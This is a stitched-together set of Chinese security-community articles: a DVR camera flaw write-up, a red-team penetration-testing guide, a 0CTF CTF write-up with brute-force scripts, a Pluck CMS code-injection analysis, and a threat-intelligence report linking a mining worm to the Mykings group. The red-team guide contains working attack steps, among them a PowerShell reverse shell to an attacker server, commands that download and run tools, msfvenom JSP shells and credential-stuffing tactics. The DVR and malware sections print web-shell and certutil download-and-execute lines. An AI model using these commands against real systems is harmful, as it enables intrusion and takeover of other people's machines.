这个问题已经存在已久了,我们现在再去讨论它也没有任何的意义。默认密码在物联网设备领域中简直就是个挥之不散的阴影。
**Web认证绕过**
当你首次访问DVR时,系统会给你显示index.html页面,你需要在这个页面输入你的用户名和密码。如果你所输入的数据正确,页面将会跳转至view2.html。
奇怪的是,如果我们清空我们的cookies,然后访问view2.html,系统会在将用户重定向至index.html并输入用户名和密码之前,显示该页面的局部信息。
一般来说,这应该是JavaScript客户端认证所要进行的检测工作。当然了,我们在对view2.js进行了分析之后,得到了下列发现:
$(document).ready(function(){
dvr_camcnt = Cookies.get(“dvr_camcnt");
dvr_usr = Cookies.get("dvr_usr");
dvr_pwd = Cookies.get("dvr_pwd");
if(dvr_camcnt == null || dvr_usr == null || dvr_pwd == null)
{
location.href = "/index.html";
}
在得到了这些信息之后,你将会发现,只要这三个cookie的值为空,你就可以对设备进行访问(dvr_comcnt的值必须为2,4,8或者24)。
当然了,我们也可以手动设置这些cookie来获取设备的访问权限。现在,我们在不知道用户名和密码的情况下,获取到了DVR设备的完整控制权限。
**开启设备的控制台**
有时,能够完全控制DVR设备的web接口的确很有趣,但我们往往想要的更多,例如root shell。
打开DVR盒子的上盖,我们发现了J18,这是一个115200串口。尽管我可以看到其输出数据,但是在没有shell的情况下我是无法向设备输入数据的。
重启设备之后,我们可以看到设备主板使用的是uboot(一款及其常见的开源引导程序)。我们只需按下任意按键,就可以中断uboot的启动引导。但是你只有一秒钟的时间,所以你可能需要多试几次才能成功。
现在,我们进入了uboot的控制台。在修改了引导参数之后,我们将设备改成了单用户模式,这样一来,我们在登录时就不需要输入密码了:
setenv bootargs ${bootargs} single
boot
在调整了设置之后,DVR将会以单用户模式启动,这样我们就得到了root shell。这也就意味着,从现在开始,我们将无所不能!
**内置的web shell**
本地的root shell固然很棒,但有时我还需要远程访问shell。
在对设备固件进行了分析之后,我发现大多数的功能都集中在dvr_app之中(包括web服务器在内)。尽管web接口使用了cgi-bin目录,但我仍然无法在设备的文件系统中找到这个目录,很可能是因为dvr_app对其进行过内部处理,这种现象在嵌入式设备中非常的常见。
除了一些显而易见的数据之外,还有一些其他的信息值得我们注意-例如moo和shell。具体信息如下图所示:
访问moo目录之后,我们发现了一个“牛”的图形。当你在Debian系统中运行apt-get
moo时,你就能够看到这个图形。但为什么它会出现在这里呢?我们也不清楚。
在访问了shell目录之后,你将会看到列表所示的下列进程:
我们发现,设备内置了一个远程root shell功能,使得我们能够在未经身份验证的情况下对其进行访问。这简直是太糟糕了!
**未经身份验证的Telnet**
设备已经在端口23运行了telnet,但是它还需要root密码。即使我们能够查看/etc/passwd并且得到解码后的密码哈希值,我们也仍然无法恢复出明文密码。
在得到了上图所示信息之后,我们便尝试使用密码破解器来尝试破解这个密码,这一操作可能需要一些时间。
为了解决这一问题,我们使用了远程web shell来开启设备的telnet daemon:
http://192.168.3.101/shell?/usr/sbin/telnetd -l/bin/sh -p 25
现在,我们就可以远程登录并正常使用设备了。
这很有趣,但是大多数的用户并不会通过端口80来转发网络数据。攻击者可以通过端口25来开启远程登录,但这样是无法访问目标设备的。
**向陌生的硬编码邮件地址发送图片**
在对dvr_app的二进制代码进行深入分析之后,我们发现了一些非常奇怪的功能。
无论是什么原因,设备会将第一个摄像头的快照发送至[email protected]。
这是为什么呢?我们目前还不清楚。但这样的行为绝对会引起非常严重的隐私泄漏。而且,目前已经有用户在GitHub上报告过这一问题了。
**其他的一些问题**
DVR设备存在的问题远不仅于此,这种设备所存在的问题简直是数不胜数:
l 如果你能通过web服务器来注入shell命令,那么你就已经实现root了。根本无需再进行提权。
l 没有提供CSRF保护。你可以诱骗用户点击某一链接,并进行恶意操作。
l 没有提供账户锁定功能,而且也没有提供防暴力破解机制。你可以不断尝试输入密码,直到你猜中为止。而唯一能够拖慢攻击者脚步的就是这类设备的访问速度较慢。
l 设备不支持HTTPS。所有的通讯信息将以明文形式发送,攻击者可以拦截和篡改设备所发送的网络信息。
l 没有提供固件更新功能。
我们希望相关的研发人员能够重视这些问题,并一一解决设备中的这些设计缺陷。 | 社区文章 |
现在这段时间是全员 hw 时期，刚好前几天也有幸参与了某个地方的 hw
行动，作为攻击方，这里就简单总结一下最近挖洞的思路吧。因为可能怕涉及到敏感的东西，这里就有的地方不会细说了。
* 因为本人比较菜，所以只能做一点比较基础的总结，大佬们请忽略吧...
## 渗透的大体过程
整个渗透测试的流程就是通过信息收，集到外网的 web 漏洞挖掘，来获取一个 webshell ，通过这个 shell
进一步利用来打进内网，进行内网渗透、域渗透，最终获取域控权限的一个过程。
## 从外网挖掘漏洞的一些方法
常见的渗透思路这里就不介绍了，也比较常见，这里主要想纪录一下自己在测试中用到的方法。
拿到相应的资产，解析完 ip 段或者网址之后，直接上大型扫描器！直接上大型扫描器！直接上大型扫描器！对你没有听错。
需要检测 web 漏洞的话，需要对相应的 IP 进行端口扫描，端口扫描的话用 **御剑高速端口扫描工具**
这个工具，效果非常棒！把扫描的速度越调低结果就会越精确。
扫描完成之后可以导出相应的扫描结果，得到相应的 IP 结果之后，再丢进 AWVS 直接使用脚本批量扫描，或者批量弱口令爆破就行了。
**总之套路就是需要注意批量！批量！批量！就行了** 。
这是上次批量扫了两天的结果，还是很可观，还是混了不少洞的啊哈哈哈哈。不过是否属于资产范围内的就需要自己验证了。
## 从外网撕开口子的常见操作
### 框架、中间件漏洞
最常见的就是 Struts2、weblogic 等已有的 RCE 漏洞。
检测的方法就是使用现有的工具进行 **批量扫描** ，也可以自己写一个脚本进行指纹探测之后再检测漏洞。或者丢进 Nessus 或者 AWVS
中一般都可以自己检测出来。
工具的话网上也比较多了， **推荐使用 .net 写的小工具** ，网络发包速度快，也很稳定。
* 检测 S2 漏洞的话推荐使用 **Struts2漏洞检查工具2018版** 这个工具，可以批量！贼爽！
### 撞库漏洞
主要是针对于一些员工系统和登录系统、信息查询系统、OA 系统进行撞库，在没有验证码的登录系统中屡试不爽。
#### 测试方法
**无验证码的情况**
首先这些系统一般外部只有一个登录框，先查看有无验证码，没有验证码直接导入中国常见用户名字典，密码为弱口令字典（或者直接就设置成 123456）。
* 或者密码可以改成 **用户名+数字** 的形式，例如用户名是 zhangsan，可以尝试每个用户对应的密码字典为 zhangsan12、zhangsan123 这种类型。
若是邮箱登录，则需要先收集一下系统的邮箱后缀，常见的收集方法有 google hack、专门收集目标站邮箱的查询网址。
拿到了后缀之后，使用 **用户拼音+邮箱后缀** 的方式进行爆破。注意这里有两种方式。
1. **用户名规则使用用户全拼音** 。例如 [email protected]。
2. **用户名规则使用姓的全拼+名的缩写** 。例如 [email protected]，[email protected]。
**总的来说，第二种方式比较常见** ，也可以两种都试试。
**有验证码的情况**
这里就说下有验证码，但是验证码可以绕过的情况。
如下面的情况，直接把 cookie 删除之后就不会验证 randcode 的值了，可能这代码写的也比较奇葩吧
### 弱口令漏洞
#### 公网数据库爆破
web 登录系统的弱口令爆破就不说了，有一种思路是直接对公网的 IP 地址的数据库弱口令爆破，个人感觉还是比较爽的。
因为资产给的有时候是整几个网段，所以爆破的话能够成功的概率也是挺大的。
这里推荐使用 **超级弱口令检查工具** 这个工具，在 github 上也可以找到。勾选上所有的数据库的选项，把用户名和密码字典导入，勾选上扫描端口。
运气好的话还是可以出结果的。
#### 内网数据库爆破
这里推荐使用 F-Scrack 和 DBScanner 工具，在 github 上面都有，进入内网之后弱口令比较多，扫描爆破的效果还是不错的。
## 从 webshell 到内网
### 从 sql 注入到内网渗透
直接举例。
拿到一个 mssql 注入，并且可以开启 xp_cmdshell 设置执行任意命令的情况下（--os-shell）。如果注入是属于回显、报错注入的话，直接执行命令就没有太大的限制， **如果是延时注入的话，要等很长时间才能回显，这就比较恶心了。**
举个例子，像下面这种注入的话就是属于无页面回显，只能靠时间盲注才能出数据，根据时间盲注是一个字符一个字符的出数据，速度就会慢很多，而且有时候还不稳定。
**解决方法：**
在 sqlmap 下获取 xp_cmdshell 之后，直接执行：
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 123.207.xx.xx -p 9999 -e cmd
在 vps 上监听一个 9999 端口，等着弹回 shell （system32 下的 cmd）就行了。然后拿到 shell 之后继续使用
powershell 下载远程木马或者端口到靶机上就行了。
powershell 下载远程文件命令：
* 下载 lcx 到本地进行 3389 端口转发
powershell "$c=new-Object \"System.Net.WebClient\";$c.DownloadFile(\"http://123.207.xx.xx:81/static/lcx.exe\",\"C:/Users/Administrator/Desktop/lcx.exe\");";
第二个参数填入保存到的路径即可和保存的文件名即可。
* 若公网跳板机是 linux 的话，可以使用 linux 版本的 lcx，也就是 portmap
用法：
./portmap -m 2 -p1 7777 -h2 211.141.xx.xx -p2 9999
* 这里的 h2 是远程服务的 ip 地址。
### 从 S2-045 到内网渗透
检测 S2 的方法就不说了，直接工具一把梭。这里推荐使用 "Struts2漏洞检查工具2018版" 这个工具，可以批量导入 url
，效率还是可以的。但是能不能出洞主要还是看运气看人品哈哈哈。
* **简单检测 S2 漏洞的方法：看 Uri 的后缀是否为 .do 或者 .action** ，是的话直接丢进去工具验证。
#### 获取 S2 之后的操作步骤
1. 第一个方法就是上面说的，有 powershell 的话直接一把梭 getshell。或者可以配合 Empire 生成一个 powershell 的 payload 直接运行。但是这种方法有时候因为种种原因会不太稳定。
2. 第二种方法可以用上面那个工具进行文件上传传小马上去，接着用小马客户端传大马就行了，这是常规套路。
Q：拿到大马之后要干啥？
A：当然要进一步渗透了，内网渗透、域渗透。
* * *
Q: 但是具体怎么做？
A: 先 ipconfig 看看是不是内网 IP，如果是的话就传个 msf 马上去进一步操作，或者用 lcx 或者 ew 把 3389 转发到公网。
* * *
Q: 但是要怎么传呢？直接使用大马的上传功能吗？
A: 不行。因为 jsp 的上传只支持可见字符字节码的上传，二进制数据没办法直接上传。
* * *
Q: 那该如何操作？
A: 我这里是用 Base64 编码的方式，先把 exe 文件整个编码，之后构造一个 jsp
的上传点，在上传完成之后在网站目录下解码即可，解码之后就释放到网站目录下了。
* 参考：<https://blog.51cto.com/0x007/1204440>
* 在实战环境下遇到的几乎都是 jsp 的站点，php 的站非常少，所以需要平时多积累多练习一下对 jsp 站点的渗透
### 从文件上传 getshell 到内网
测试过程遇到一个比较奇葩的文件上传漏洞，发生在后台用户头像上传处，可以抓包直接修改上传的文件后缀为 jsp
文件，就可以直接进行上传，无任何验证，且上传完成后还会返回给你整个马子的路径。
可以直接上传木马的话，就可以直接上大马或者用 msf 直接生成一个 jsp 马（msfvenom）。
java/jsp_shell_bind_tcp // 用于本地没有外网 IP 或者远程的靶机无法外连的情况
java/jsp_shell_reverse_tcp // 用于本地有公网 IP 的情况
将生成的 payload 直接通过文件上传上去，接着拿到路径直接访问即可，在 msf 里可以升级到 meterpreter 之后就可以为所欲为了。
## 可能会遇到的一些问题
1. 拿到 shell，将 3389 端口转发出来之后，尝试连接发现出现问题，估计是限制了我这边的 IP 访问。
解决方法：添加注册表 `AllowEncryptionOracle` 项即可。
参考：<https://www.cnblogs.com/lindajia/p/9021082.html>
一条命令直接解决（需要在 system32 目录下的 cmd 中执行）：
REG add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\CredSSP\Parameters /v AllowEncryptionOracle /t REG_DWORD /d 2 /f
.
1. 将 msf 代理进内网
直接使用命令：
proxychains msfconsole
或者在 set payload 之后，执行：
set proxies socks5:192.168.0.1:1080
.
1. 拿到一个 shell 之后分辨是否是内/外网 IP
如下图的情况就说明他只有内网 IP，没有公网 IP，也就是这个机子是用网线接在路由器/交换机上的。我们能访问到他的 80
端口的服务是因为在交换机/路由器上做了端口映射。
在网络映射中是这样表示的：
所以这时候你一般就没有办法直接连接到他的 3389 端口，因为他在内网里所以就只能使用端口转发了。
如果存在外网 IP 的话显示的就是外网 IP。有时候也会遇到既有公网 IP 也有内网 IP 的情况下。
## 总结
这里只是总结一下在这期间学到的东西，主要还是要搞进内网得分才高，所以渗透的目标还是要盯着内网，总的来说自己还是太菜了，需要继续努力。 | 社区文章 |
0CTF/TCTF 线上赛刚刚结束，分享一下其中两道题的解法
## Element
这题流程十分简单，先check格式，一共44位，flag{`12位十六进制数a`-`12位十六进制数b`-`12位十六进制数c`}
之后字符串转整数，以及给出了a = 0x391BC2164F0A
接下来有一段不太常见的汇编指令`punpckldq` `subpd` `pshufd` `addpd`，查找资料发现应该是整数转浮点。
然后就是一堆数学算式的check。题目意思是：
* 已知三角形最短边a，内切圆半径r，外接圆半径R，求剩余两边b和c。
就难度来说只是高中数学的难度，列出两条方程求解。至于求解的方法，可以用z3，fsolve，Mathematical等等，甚至可以用一些高级计算器手动输方程求解。
至于精度其实没必要考虑的太多，因为上述工具解出来的结果基本正确，跟正确值的差距在1-2左右。可以自己写个脚本，把题目中的计算过程抄一遍看最后R和r的误差，在b和c左右两边浮动一两位，找到误差最低的那个值就是了。
## Sanitize
这是道算法题，但是我也没搞清它的算法23333，因为我是爆破出的结果。
这道题比较特殊，不像常规的加密解密题有个常量对比，这题没有一个常量可以比较，因此不能直接爆破，而且长度很长，所以得用一些骚方法爆。这里分享一下我的爆破解题的思路。
### 程序流程
1. 从同目录下的flag文件读取flag字符串。
2. 输入一个字符串s，长度大于3小于32。
3. 输入一个整数n，接下来的n行，每行接受一个整数输入，存入数组num。所有的num对flag长度取模，且不能重复。
4. 接下来会新建一张类似图的数据结构，依次向图里面添加结点。结点的结构：
00000000 node struc ; (sizeof=0x20, mappedto_6)
00000000 ch db ? ; 该节点存放的字符
00000001 db ? ; undefined 没用
00000002 db ? ; undefined 没用
00000003 db ? ; undefined 没用
00000004 d dd ? ; 我也不清楚有啥用，大概跟变形有关
00000008 p0 dq ? ; 指向一个结点
00000010 p1 dq ? ; 指向一个结点
00000018 p2 dq ? ; 指向一个结点
00000020 node ends
添加结点分为两步：
(1).在一个恰当的位置插入新的结点，一般是根结点或根节点的下一个结点。
(2).根据每个节点数据的 **大小** ，对这张图进行修改与平衡
这里其实比较像红黑树或二叉平衡树，总之这张图一直都是在变化的。
**重点：添加结点/修改形状的过程中必然有许多if
else分支，在`6030B8`记录进入每个分支的次数（关键，以此来计算/爆破flag），以及某些函数的调用次数（这里其实用处不大，一般都跟字符串s的长度或输入整数的数目n有关，对flag的内容没啥关系）**
添加结点的顺序：先将输入的字符串按顺序依次添加，再按照num数组的内容，找到对应的flag字符添加。比如输入了 3 2 0
1，则依次添加'a','f','l'这三个字符
main函数结束后，进入函数`sub_401980`，将`6030B8`开始的每个字节输出。（这里的指针`qword_603230`确实是指向`6030B8`的，在程序最开头有定义）
### 解法
理清整个流程，思考解题的方法：
分析清题目的算法，根据每个分支的不同计算出flag。
然而我个人水平有限，在分析算法过程中耗费太多时间，也没有分析出个所以然，只能摸清个大概。
常规方法走不通，想想其他方法。
思考：每次加入结点的顺序都相同，只有最后一个（或其中某一个）加入的结点不同，返回给我们的表应该是不同的。我们可以选一段字符串输入，然后再依次加入结点'f'，'l'，以及一个不同的字符结点，看看输出的内容有何变化。
先打本地找找规律。
from __future__ import print_function
from pwn import *
from time import *
context.log_level = 'error'
seed = int(time())
def rand():
global seed
seed = seed * 0x343FD + 0x269EC3
return (seed >> 16) & 0x7FFF
flag = 'flag{'
payload = ''
for j in range(5):
payload += chr((rand()%(0x7f-0x20))+0x20)#随机生成一段字符串,测试下来发现长度为5时变化比较大
for i in range(0x20,0x7f):
f = open('flag','w+')
f.write(flag+chr(i)+'a'*20) #第六位为测试的字符，每轮写入不同的字符
f.close()
payload += '\n'
payload+=str(3)+'\n'+str(0)+'\n'+str(1)+'\n'+str(5)+'\n'
p = process('./sanitize')
p.send(payload)
s = p.recv()
p.close()
#对接受到的数据稍微处理一下输出。大部分都是根字符串s的长度/整数数量n有关，或是不变的1或0，比较有用的就38,39,42
t=[]
tt = []
for j in range(len(s)/8):
t.append(s[j*8:j*8+8])
# print(t)
for j in range(len(t)):
temp = 0
for k in range(4):
temp+=int(t[j][2*k:2*k+2],16)*(256**k)
tt.append(temp)
print('%4d'%tt[38],end = '')
print('%4d'%tt[39],end = '')
print('%4d'%tt[42],end = ' ')
print(chr(i))
部分输出如下：
xd}zg #payload字符串内容
...前面都一样...
2 5 5 c
2 5 5 d←分界点1
1 6 6 e
1 6 6 f←分界点2
0 7 7 g
0 7 7 h
0 7 7 i
0 7 7 j
0 7 7 k←分界点3
1 6 6 l
1 6 6 m
1 6 6 n
1 6 6 o
1 6 6 p
1 6 6 q
1 6 6 r
...后面都一样...
上面这个例子可以发现，在这种payload（随机生成的）的情况下当第六位字符小于f或者g到k或者大于l，会有三种不同的输出，这样我们就有了三个区间，来区分三个区间内的字符了。
由于构造的payload不一样，分界点也不同，因此理论上可以构造出（0x7f-0x20）种不同的payload组合，就能鉴定每一个字符了。
由于不懂原理，因此只能粗暴的使用随机数构造字符串，尝试找到不同的payload能够区分每一个字符。
于是有了下面一段代码：
from pwn import *
from time import *
context.log_level = 'error'
seed = int(time())
def rand():
global seed
seed = seed * 0x343FD + 0x269EC3
return (seed >> 16) & 0x7FFF
flag = 'flag{'
check0 = []
compare = []
g = open('payload','w')
h = open('check','w')
for i in range(0x20,0x7e):
while(True):
f = open('flag','w+')
f.write(flag+chr(i)+'a'*20)
f.close()
payload = ''
for j in range(5):
payload += chr((rand()%(0x7f-0x20))+0x20)
payload += '\n'
payload+=str(3)+'\n'+str(5)+'\n'+str(1)+'\n'+str(0)+'\n'
p = process('./sanitize')
p.send(payload)
s = p.recv()
p.close()
f = open('flag','w+')
f.write(flag+chr(i+1)+'a'*20)
f.close()
p = process('./sanitize')
p.send(payload)
r = p.recv()
p.close()
if s!=r:#第五位为i和i+1时，返回的结果不同
g.write(payload)
h.write(s)
check0.append(s)
print(chr(i))
break
g.close()
h.close()
这样我们得到了一组payload，他能区分从0x20到0x7f的每一位，使这一位和下一位返回的数据不同，返回的数据保存在check内。
这样理论上我们就能够区分每一个不同的字符了。尝试写爆破脚本：
from __future__ import print_function
from pwn import *
from time import *
context.log_level = 'error'
flag = 'flag{this_is_a_testing_flag_TESTING_0123456P)+_)!@#":}'
f = open('flag','w+')
f.write(flag)
f.close()
payloads = []
check = []
g = open('payload','r')
h = open('check','r')
for i in range(0x7f-0x20):
s = g.read(14)
payloads.append(s)
s = h.read(657)
check.append(s)
for i in range(5,0x7f):
for j in range(0x20,0x7f):
payload = payloads[j-0x20][0:8]+str(i)+payloads[j-0x20][9:]
p = process('./sanitize')
p.send(payload)
s = p.recv()
p.close()
payload = payloads[j-0x20+1][0:8]+str(i)+payloads[j-0x20+1][9:]
p = process('./sanitize')
p.send(payload)
r = p.recv()
p.close()
if s!= check[j-0x20] and r == check[j-0x20+1]:#这一个字符的payload返回数据相同，下一位不同，它有可能是此字符。
print(chr(j+1),end = '')
break
输出：
"!!""!""""""""!"!"!""!"""""""""&&&&&&&")+")!"#"&"
仔细分析：
我们有了对应的payload和check，假设第五位是't'，它肯定能通过t的那一个check，但也通过了双引号"的check，才会有上面这种情况。也就是说我们拿到了一个必要不充分的条件。
另一方面想，对于不同的字符，能通过的check应当是不同的。
测试一下：
from __future__ import print_function
from pwn import *
from time import *
context.log_level = 'error'
payloads = []
check = []
g = open('payload','r')
h = open('check','r')
for i in range(0x7f-0x20):
s = g.read(14)
payloads.append(s)
s = h.read(657)
check.append(s)
g.close()
h.close()
check1 = []
for i in range(0x7f-0x20):
check1.append('')
print(check1)
print('flag{')
for ii in range(0x20,0x7f):
f = open('flag','w+')
f.write('flag{'+chr(ii))
f.close()
print(chr(ii),end=' ')
t = open('check2','a')
for i in range(0x20,0x7f-2):
payload = payloads[i-0x20][0:8]+str(5)+payloads[i-0x20][9:]
p = process('./sanitize')
p.send(payload)
s = p.recv()
p.close()
payload = payloads[i-0x20+1][0:8]+str(5)+payloads[i-0x20+1][9:]
p = process('./sanitize')
p.send(payload)
r = p.recv()
p.close()
if s!= check[i-0x20] and r == check[i-0x20+1]:
t.write(chr(i+1))
print(chr(i+1),end = '')
t.write('\n')
t.close()
print('')
部分输出
p "%(,/259>ADHQp
q "%(,/259>ADHQq
r "%(,/2579>ADHQr
s "%(,/2579>ADHQs
t "%(,/2579>ADHQt
u "%(,/2579>ADHQu
v "%(,/2579>ADHQv
w "%(,/2579>ADHQw
可以看到，对于字符't'，它确实通过了t的check，但同时也通过了对其他一些字符的check。
同时可以发现，左边的字符和右边的字符串是一一对应的（或许会有重复，但一般就两到三个重复）。
有了一一对应的关系，就能爆破出flag了
from __future__ import print_function
from pwn import *
from time import *
context.log_level = 'error'
flag = 'flag{this_is_a_testing_flag_TESTING_0123456P)+_)!@#":}'
f = open('flag','w+')
f.write(flag)
f.close()
payloads = []
check = []
check2 = []
result = []
g = open('payload','r')
h = open('check','r')
t = open('check2','r')
for i in range(0x7f-0x20):
s = g.read(14)
payloads.append(s)
s = h.read(657)
check.append(s)
s = t.readline()
check2.append(s[0:-1])
result.append('')
flag = 'flag{'
for i in range(5,0x7f):
for j in range(0x20,0x7f-2):
payload = payloads[j-0x20][0:8]+str(i)+payloads[j-0x20][9:]
# p = process('./sanitize')
# p = remote("111.186.63.16",20193)
p.send(payload)
s = p.recv()
p.close()
payload = payloads[j-0x20+1][0:8]+str(i)+payloads[j-0x20+1][9:]
p = process('./sanitize')
# p = remote("111.186.63.16",20193)
p.send(payload)
r = p.recv()
p.close()
if s!= check[j-0x20] and r == check[j-0x20+1]:
print(chr(j+1),end = '')
result[i-5]+=(chr(j+1))
print('')
flag+=chr(check2.index(result[i-5])+0x20)
print(flag)
部分输出：
flag{this_is_a_testing_flag_TESTING_0123456P)+)!
flag{this_is_a_testing_flag_TESTING_0123456P)+)!@
flag{this_is_a_testing_flag_TESTING_0123456P)+)!@#
flag{this_is_a_testing_flag_TESTING_0123456P)+)!@#"
flag{this_is_a_testing_flag_TESTING_0123456P)+)!@#":
flag{this_is_a_testing_flag_TESTING_0123456P)+_)!@#":}
本地能打远程也能打，不过速度比本地慢，五分钟内应该能爆完= =
总感觉我的方法有些取巧，这题还有很多地方没搞懂，期待官方writeup以及各位大佬的讲解。 | 社区文章 |
## 0x01漏洞描述
Pluck是用php编写的一款的小型CMS
影响版本：Pluck CMS Pluck CMS 4.7.10(更新于2019年8月)
官网地址：<http://www.pluck-cms.org/?file=home>
## 0x02漏洞分析
目前最新版本为4.7.10，但是这个问题在4.7.1版本时就存在了，虽然经过作者更新版本，文章编辑处参数过滤更加严格了，但是最终同样可以getshell，并且发现4.7.10版本经过多次更新，对关键参数处理仍遗留有相同问题。以下先介绍一下4.7.1版本的问题，便于后面对4.7.10版本快速理解。
### v4.7.1分析
入口点在admin.php
admin.php:
进入后台后action=editpage，此时包含进`data/inc/editpage.php`可以进行文章编辑，继续跟进
在`editpage.php`的35行可以看到此时对post传递的title和content等参数直接调用save_page函数，漏洞正存在于此，跟进save_page函数
在`functions.admin.php`的588行，也就是位于save_page函数中，传入的title和content等可控参数直接传入与php代码进行了拼接，这里sanitize函数对单引号进行过滤，防止二次转义绕过，但是后面仍然可以bypass
在`functions.admin.php`的612行，此时对title和content内容通过调用save_file函数进行直接写入，这里我们不用关心写入的文件名，因为写入以后将自动包含
在`functions.all.php`的178行，此时若content不为数组则直接写到目标文件中
在前面的分析中我们可以看到title，content，hidden三个参数都写到了文件中，但是目前title和content都进行过滤了，但是hidden参数没有进行过滤，所以此时可以直接闭合$data变量拼接时的单引号，从而写入shell
此时将自动跳转到index.php加载我们写入的shell，结果如下
但是如果想通过title和content参数进行shell的写入也是可以的，只需要构造title或content为`1\';phpinfo();/*`即可
也可以进一步写入shell即可
### v4.7.10分析
这个版本也是在文章编辑处出现了问题，在`data\inc\functions.admin.php`的539行处，将可控的POST参数与php代码进行拼接
此时单纯注入或注入反斜杠+单引号都将无法写入shell
但是正如最开始所说，这个最新的版本和4.7.1版本的关键参数hidden参数均未进行过滤，即同样通过hidden参数来写入shell文件
此时写入的文件如下所示,同样可以进一步进行rce,方法与v4.7.1方式相同 | 社区文章 |
# 同一团伙还是栽赃嫁祸？“驱动人生”劫持事件与Mykings家族活动的关联分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 背景
近期360威胁情报中心发现劫持“驱动人生”的挖矿蠕虫再次活跃并做出了预警（详情可以参见《[劫持“驱动人生”的挖矿蠕虫再次活跃](https://mp.weixin.qq.com/s?__biz=MzI2MDc2MDA4OA==&mid=2247486576&idx=1&sn=dc5ff6a05fac06608365823173d17dae&chksm=ea65fb07dd1272113e4890dd284d19e945b4e0ae803f75671ee46cb3fbd42c54fa9170caac86&scene=0&xtrack=1#rd)》一文），在分析团伙的新活动时360威胁情报中心发现了一些涉及到Mykings家族活动的现象，但未能得出确定性的结论，在此分享出来供业界参考，希望能补充更多维度的信息共同研判。
## 网络基础设施的重叠
在对“驱动人生”劫持事件下载木马的域名dl.haqo.net进行关联分析时，我们注意到其中一个子域名js.haqo.net，在360威胁情报中心的ALPHA平台中被打上Mykings的标签，该域名解析到IP
81.177.135.35 。
查看81.177.135.35的信息，发现该IP在2018年-2019年的时间段基本上是被Mykings家族所使用，下图可以看到此IP绑定的域名几乎全是Mykings使用的C&C，域名格式为js.xxx.xxx，与Mykings的一些子域名格式一致，并且一直到2019年1月24日Mykings的众多域名依然解析到此IP上。而在2019年1月09日，攻击驱动人生的幕后团伙所使用的域名js.haqo.net也解析到了这个IP。
为了进一步发现更多的关联，使用ALPHA平台的威胁关联分析功能，可以清晰地看到haqo.net下面的三个子域名与Mykings的部分域名之间的关系：
在对两个事件涉及到的C&C域名进行关联分析时，除了观察域名是否解析到相同的IP，还需要确认使用同一个IP的时间段是否一致，如果时间段有重叠，共用基础设施的可能性加大。我们整理了攻击驱动人生的团伙与Mykings使用上面提到的三个IP的时间段，如下表所示，可以发现两者使用同一IP的时间段是有所重叠的，显示出更强的关联度。
|
域名
|
IP
|
First_Seen
|
Last_Seen
---|---|---|---|---
“驱动人生”挖矿蠕虫
|
js.haqo.net
|
81.177.135.35
|
2018/12/25
|
2019/1/28
Mykings
|
js.mys2016.info
|
81.177.135.35
|
2018/5/29
|
2019/1/27
Mykings
|
js.mykings.pw
|
81.177.135.35
|
2018/5/25
|
2019/1/22
“驱动人生”挖矿蠕虫
|
ups.haqo.net
|
66.117.6.174
|
2018/12/21
|
2018/12/21
“驱动人生”挖矿蠕虫
|
v.haqo.net
|
66.117.6.174
|
2019/1/7
|
2019/1/9
Mykings
|
down.mys2018.xyz
|
66.117.6.174
|
2018/12/12
|
2018/12/12
Mykings
|
down.1226bye.pw
|
66.117.6.174
|
2018/12/27
|
2019/1/22
“驱动人生”挖矿蠕虫
|
ups.haqo.net
|
223.25.247.152
|
2018/12/21
|
2019/1/28
Mykings
|
www.cyg2016.xyz
|
223.25.247.152
|
2018/1/28
|
2019/1/22
Mykings
|
down.mys2016.info
|
223.25.247.152
|
2018/1/26
|
2018/2/4
我们不仅看到了域名解析到IP的重叠情况，还注意到了两个事件相似的HTTP请求：js.haqo.net在2018-12-25首次解析到IP
81.177.135.35上，接着有样本请求了hxxp://js.haqo.net:280/v.sct；2018-12-26日，Mykings的js.mys2016.info也解析都该IP上，有样本请求了hxxp://js.mys2016.info:280/v.sct。看起来两个事件的不同域名同一个时间段解析到同一个IP上，并且使用了同一个端口280，连URL的Path都一样:
/v.sct 。
Mykings访问hxxp://js.mys2016.info:280/v.sct这个URL的样本如下：
## 可疑的关联性
基于以上的网络基础设施的重叠和访问请求的相似性，我们是否就可以得到“驱动人生”劫持事件与Mykings背后的团伙是同一个呢？我们的观点是：不一定。
Mykings会配合云端机制发起扫描然后尝试扫描和入侵，因此被捕获的样本量相当多;
驱动人生事件的永恒之蓝挖矿蠕虫也会主动进行传播，被捕获的样本量也不少。但是，
hxxp://js.haqo.net:280/v.sct这个链接指向文件无法下载，2018-12-25日VT上首次出现这个URL时，甚至连TCP连接都没能建立起来，网络上也并没有留存任何请求了这个URL的样本或者URL的相应数据。
而VT对于URL的检测是不可靠的（特别是没有获取到相应数据的时候），任何人都可以构造一个完全不存在URL提交检测，这样在搜索对应的域名/IP时，URL或者Downloaded
Files将会显示出被构造的URL。
例如随意输入hxxp://js[.]haqo.net:6252/admin.asp，尽管请求没成功什么数据也没有返回，依然有三个引擎产生了告警。而再次搜索js.haqo.net时，关联URL中已然多了一条:
hxxp://js[.]haqo.net:6252/admin.asp
所以尽管看似“驱动人生”劫持木马的幕后团伙跟Mykings有千丝万缕的关系，但是并没有一个确切的能够提供实锤的证据表明他们是同一个团伙或者两个团伙有交流沟通：尽管一些没有被使用的子域名解析到了Mykings掌握的IP上，而且使用的时间段有所重合；两个团伙已知的恶意代码没有太多的相似之处；VT上js.haqo.net的某个URL构造得与Mykings相关性非常强，但却没有实际返回的数据可以用来确认“驱动人生”劫持木马利用到了Mykings的IP对应的服务器资源。
## 时间线
目前360对于“驱动人生”劫持木马事件做了一系列的分析，在这里简单总结一下“驱动人生”时间的时间线：
### 2018年12月14日
驱动人生攻击爆发，内网传播用的永恒之蓝漏洞，下载的payload地址：http://dl.haqo.net/dl.exe
当时的永恒之蓝的攻击模块的BAT内容如下：
cmd.exe /c certutil -urlcache -split -f http://dl.haqo.net/dl.exe
c:/install.exe&c:/install.exe&netsh firewall add portopening tcp 65531
DNS&netsh interface portproxy add v4tov4 listenport=65531
connectaddress=1.1.1.1 connectport=53
而从该地址下载的dl.exe（f79cb9d2893b254cc75dfb7f3e454a69）的C2地址为：
### 2018年12月16日
各大安全厂商曝光该攻击，攻击逐步停止。
### 2018年12月27日
永恒之蓝攻击模块攻击成功后在目标机器上运行的bat的内容变更下一阶段的payload地址
从http://dl.haqo.net/dl.exe改成了http://dl.haqo.net/dll.exe；
certutil -urlcache -split -f http://dl.haqo.net/dll.exe c:\installs.exe
